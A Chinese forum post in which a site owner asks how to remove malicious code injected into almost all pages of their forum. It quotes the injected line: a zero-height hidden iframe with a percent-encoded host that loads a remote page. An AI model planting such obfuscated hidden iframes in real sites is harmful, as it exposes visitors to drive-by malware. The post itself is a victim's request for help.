求救~我的论坛被挂了恶意网站的代码，请问怎么删掉？

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请各位帮帮忙，我先谢谢大家了，第一次在admin5论坛求助，还是在有问必答区，希望能得到大家的帮助。。。
我用浏览器的查看源码功能发现论坛几乎所有页面都被加了以下这段代码，可是我不知道怎么删掉？

2. <iframe src="http://%72%6E%6C%6A%6D%2E%33%33%32%32%2E%6F%72%67/1.htm" width=111 height=0 border=0>

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大家可以去我的网站看看，不用怕中毒，360，金山，卡巴都能拦截。
大家好，我的论坛bbs.damipan8.com被挂了恶意网站的代码，论坛字体变大，请问怎么删掉？
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